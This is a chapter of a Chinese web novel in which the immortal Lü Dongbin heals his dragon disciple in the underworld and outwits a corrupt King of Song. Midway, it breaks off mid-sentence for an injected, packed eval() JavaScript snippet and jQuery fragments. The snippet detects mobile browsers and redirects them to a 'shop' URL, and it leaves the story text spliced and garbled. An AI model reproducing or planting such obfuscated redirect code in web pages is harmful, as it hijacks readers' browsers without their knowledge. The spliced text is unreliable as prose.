76.吕祖驾到

作品:《在聊斋里管闲事

    一个男人的声音从身后传来,李钰回头一看,来者是位道人,其身形伟岸,眉目卓然,美髯垂胸;他身着道袍,手执拂尘,背负宝剑,一派松柏临风的仙人气韵。


    他说救他徒儿……


    “你是……吕洞宾?”李钰不可置信地问道。


    “正是在下。”吕洞宾笑眯眯地看着李钰,“小友,可否让一让了?”


    李钰连忙让到一旁,吕洞宾走到银龙面前,抬手用拂尘一扫,一道金光呈守护之势环住白行野,丝丝缕缕金线一样的光芒浸入银龙身上的伤口,似穿针引线般为其缝合,伤口肉眼可见的渐渐开始愈合。


    眼前的神迹看呆了李钰,这就是孚佑帝君,纯阳祖师,吕祖吕洞宾吗?这就是真正的神仙?行野真有救了!


    又见吕洞宾蹲下身将腰间的酒葫芦取下,递到银龙嘴边,葫芦里面溢出的灵气肉眼可见,金色的灵液自葫芦中倾倒而出,喂进白行野的口中,也不知是何种灵药还是仙泉?


    白行野贪婪地喝着灵液,须臾,吕洞宾将酒葫芦拿开,又轻轻晃了晃葫芦,脸上流露出一丝心痛,“好徒儿,也给你师父留一点。”


    此时的白行野呼吸逐渐平缓,眼睛睁开透出几分清明,他试着挣扎起身,可一移动外部伤口和五脏六腑仍牵扯着疼,只能又趴了下来。李钰在一旁看到,几乎心疼得肝肠寸断,白行野却还出声安慰他:“阿钰,我没事的,你别怕。”


    李钰只觉得眼泪又要涌上来了。


    “你这不孝徒啊,眼里还有没有我这个师父?都不知道先拜见为师?”吕洞宾无奈道。


    白行野扯了扯嘴角,像是在笑,“师父就别为难弟子了,是徒弟学艺不精,还要劳您前来相救。”


    吕洞宾摇了摇头,“你这孩子惯会逞强,遇到这种事早该求助为师,哪儿能让你们孩子们去对抗这些地头蛇?”


    您老云游四方,我上哪找您去?白行野还想辩驳几句,“师父……”


    “你别说啦,速速调息,剩下的事就交给为师。”吕洞宾站了起来,转向李钰。


    李钰立刻手足无措,方才他居然直呼吕祖名讳,而且这可是白行野的师父!在这种情形下见家长,行野为了他受此重伤,他还这般灰头土脸的……


    吕洞宾却带着和善的微笑,拍了拍李钰的肩膀,就像是邻家长辈一样说:“小友,你去陪陪我徒儿,我来跟他们说。”


    李钰呆愣愣地点了点头,跪坐到白行野旁边,问他:“行野,你现在觉得怎么样?”


    “好多了,只是有些疼,暂时还变不了人形。”白行野语速缓慢,看起来精神还是不太好,他继续安慰道,“你不用担心,有师父在。”


    一人一龙不由都看向吕洞宾,不远处不知什么时候宋帝王已经恭恭敬敬地在一旁候着,而那常州府城隍更是跪拜在地,抖如筛糠。


    “你师父在天庭是什么官啊?”李钰低声问道,这架势看起来挺不一般呢。


    “我也不知,以前除了有时在洞府住时会指导我们这些徒弟,其余时候师父都是云游四方,济世扶危,偶尔才去天庭一次。”白行野目光灼灼地望向吕洞宾的背影,“不过我知道,师父他特别厉害。”


    吕洞宾不疾不徐地踱步上前,宋帝王慌张地躬身施礼,“上仙驾临,小王有失远迎。不知上仙此次前来有何指教?”


    宋帝王原本小山一样的身躯,此时或许是为了表示谦逊,变成了常人一般。城隍跪在一旁哆哆嗦嗦,心里想着这宋帝王殿下可真会装相,都把吕祖徒儿打成那样了,还能这么正经地问出对方前来有何指教?这份淡定,他可学不来。


    吕洞宾哈哈一笑,“宋帝王不必客气,我本无意到地府叨扰,我这徒儿是妖族出生,生来秉性纯直,不大通人情,我才让他来凡间历练。还好我知他修炼时日尚短,特意给他留了护身法器,就是为了在危机之时有所感应,我才能及时分身赶到他身边救援。未曾想竟是来到地府之中,见证阎王一怒,却是不知我这小徒犯下何错竟让宋帝王如此生气?”


    听到这话,李钰歪头看向白行野,银龙低声道:“就是我的乾坤袋,方才若不是乾坤袋碎了,我都不知道师父还藏了这一手。”


    李钰明白了,心里又是庆幸又是安慰,看来行野的师父对他很好。


    宋帝王却听得直冒冷汗,这孚佑帝君话倒是说得客气,可字字句句都是对自己徒弟的维护之意。他这徒弟和那徒弟的友人可还牵涉着自己与城隍勾结收受贿赂、滥用职权之事,若让他知晓了此事,无异于明摆在天庭面前。这位孚佑帝君虽并无实权,平日也都云游四海,可八仙却是地位超然,连玉帝王母也都要卖他们面子,何况纯阳祖师实力更不容小觑,即便只来了一分身,也不是好相与的。


    思量再三,宋帝王还是决定退一步,又一次躬身一拜,“还请孚佑帝君帝君勿要见怪,本是因为一些误会,是那李钰小儿在此口出狂言辱骂小王,这才想要惩戒他,没想到高徒突然冲了出来以身相护,这才误伤了帝君徒弟!小王惭愧愿意补救,殿中也有珍贵良药,可奉给帝君以表歉意。”


    “原来如此。”吕洞宾点了点头,“那就听宋帝王的,挑选些上好的药材供我徒疗伤吧,既然是误会,说清楚便罢。”


    李钰一听就急了,怎么能就此作罢?席家父子冤屈未申,更不知他们之前还有多少冤魂受害!他刚一动,身旁的银龙就用头蹭了蹭他的手,冲他摇了摇头,轻声道:“不要冲动,师父行事自有道理。”


    李钰这才又坐回去,静观其变。


    宋帝王倒是很意外,这吕洞宾如此好说话的?忙叫来文判官去取灵药来,文判官刚应声要走,他又将其叫住。宋帝王斜眼看了下趴在地上的妖龙,深吸了一口气,他向来瞧不上这些妖物,可这吕祖素来爱做些点化妖物、收妖为徒的事,他对这徒弟又颇为维护,此事又牵涉有甚多……


    思来想去,他咬了咬牙,从袖中取出一把金钥匙递给文判官道:“去我私库里取……”


    文判官听之面露惊讶,不论是巴结也好,还是想以重利让吕祖对背后的事睁一只眼闭一只眼也罢,宋帝王殿下这是要大出血了!但这不是他一小神官能管的,赶紧接过钥匙,唯唯诺诺退下。


    宋帝王勉强笑了笑,说道:“上仙何不去殿中歇息片刻,此处污脏,怎能让您在此久等?”


    吕洞宾看了看四周地狱惨状,倒是像欣赏什么美景一样,悠然道:“无妨,小徒伤重不便挪动,我也久未见这地府风光,就不去坐了。”


    宋帝王被这话一噎,也不敢再多言了。


    片刻后,文判官捧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335602|195725||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着一个精致宝匣过来了,宋帝王给了他一个眼色,文判官就直接将宝匣双手奉到吕洞宾面前。吕洞宾不客气地接过,打开宝匣的一瞬,浓郁的木灵之气蓬勃喷涌而出。吕洞宾眉毛一挑,眼中闪过一丝异色,心底冷笑,面上却不动声色道:“神农鼎中的万年灵膏,可活死人肉白骨续仙龄,宋帝王手中竟有这等宝物,真是让我也大开眼界。”


    宋帝王一直紧张地注视着吕洞宾的反应,听其语气并无不对后才定下心来,心中暗道,自己如此有诚意,你既然手下此大礼,往后大家可要继续桥归桥路归路才好。


    可没想到吕洞宾收下了宝匣,忽然话锋一转,“对了,我刚想起来,我徒儿这两位朋友竟是生魂啊,这又是为何会在地府之中受刑呢?”


    宋帝王和城隍庙心中都是一惊,怎么收了礼还提这些事?!


    “只不过是其中一人不满其父身死,硬是生魂离体闹到地府来。”宋帝王笑得更为僵硬了,心里不断盘算着说法,“您是知道的,我们地府办事都是按着生死簿行事,哪会随意勾魂?他们一个二个却偏要质疑阴间律法,赖在地府之中不说,还当着诸多小鬼们的面辱骂小王,实在胆大包天,小王这才惩治他二人,实则不过只是想逼他们走罢了。”


    本王便是赌这一把,生死簿可不是谁都能查看的,吕洞宾纵然地位在那,可他并无插手地府之事的实权,若真为了区区两个凡人要查生死簿,那就是他没道理了!宋帝王眼里闪着精光,反正他徒弟的那部分自己已经补偿了,他就赌吕洞宾断不会再为了区区两个凡人强行查看生死簿!


    果然,吕洞宾不过只是沉默了片刻,便捋了捋胡须道:“现在的年轻人啊,确实不知天高地厚,既然宋帝王本意是想让他二人走,那我便顺手领走他二人好了。”


    “这……”这吕洞宾怎么如此狡诈?宋帝王气得牙痒痒了,这俩小子十分可恶,谁知道他们出去了还会不会四处去告状?若是去了泰山东岳大帝那告他,自己可就别想好了!他这时才反应过来,吕洞宾竟是句句给自己挖坑。


    “怎么?宋帝王不会还想罚他们吧?我看他们已经受得够多了,两个生魂长时间离体,若阳间的身体出点岔子,使得其还不了阳,这可就是大过了!到底他们还是阳世之人,宋帝王何必为区区凡人犯了规矩?还不如我一并带走,免得他们再在此处扰宋帝王清静。”


    吕洞宾一脸的善解人意,乐意帮忙的模样,差点将宋帝王气了个仰倒。过了半晌,才听他咬牙道:“那便劳烦帝君了。”


    一切似乎都已谈妥,但还有人不乐意,席方平早就被眼前种种变故惊呆了,此时也反应过来,大叫道:“我不走!你们不放我爹,我绝不会走!我爹平生未有为恶,你们凭什么……”他话还没说完,就被一旁鬼差堵了嘴。


    宋帝王和城隍此时已是恨毒了他,若非生魂受阴律保护,毁灭生魂他们也会受到因果反噬,哪还用各种威逼利诱?早早就让其魂飞魄散了。


    这时,吕洞宾出言劝道:“小友不必动怒,地府之中自有法度,不会容忍任何一桩冤假错案,其中一定有误会,你且先随我返回阳间便是。”


    说罢,他执拂尘一扫,本还挣扎不停的席方平安静了下来,鬼差们见状也松开了手,只见他呆呆地飘向吕洞宾,乖乖跟随其后。